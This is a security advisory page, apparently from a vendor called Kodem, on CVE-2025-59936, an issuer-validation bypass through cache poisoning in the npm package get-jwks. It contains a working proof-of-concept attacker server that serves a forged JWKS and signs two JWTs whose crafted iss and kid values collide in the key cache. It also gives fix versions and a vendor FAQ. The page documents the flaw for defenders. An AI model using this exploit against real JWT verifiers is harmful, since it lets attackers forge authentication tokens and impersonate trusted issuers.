CVE-2025-59936

A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.

Details

When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.

The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.

PoC

Server code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://example.com',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Exploit server that generates the JWT pair and send the public RSA key to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;

const { publicKey, privateKey } = generateKeyPairSync("rsa",
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

The first JWT token will create a cache entry with the chosen public key and have the following format:

RS256:testkid:http://localhost:3001/?:https://example.com

The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:

RS256:testkid:http://localhost:3001/?:https://example.com

Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.

CVE-2025-59936 has a CVSS score of 9.4 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (11.0.2); upgrading removes the vulnerable code path.

Kodem intelligence

Escape each component used in the cache key, so delimiter collisions are impossible.

https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

1. What is CVE-2025-59936? CVE-2025-59936 is a critical-severity security vulnerability in get-jwks (npm), affecting versions <= 11.0.1. It is fixed in 11.0.2.
2. How severe is CVE-2025-59936? CVE-2025-59936 has a CVSS score of 9.4 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of get-jwks are affected by CVE-2025-59936? get-jwks (npm) versions <= 11.0.1 is affected.
4. Is there a fix for CVE-2025-59936? Yes. CVE-2025-59936 is fixed in 11.0.2. Upgrade to this version or later.
5. Is CVE-2025-59936 exploitable, and should I be worried? Whether CVE-2025-59936 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-59936 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-59936? Upgrade get-jwks to 11.0.2 or later.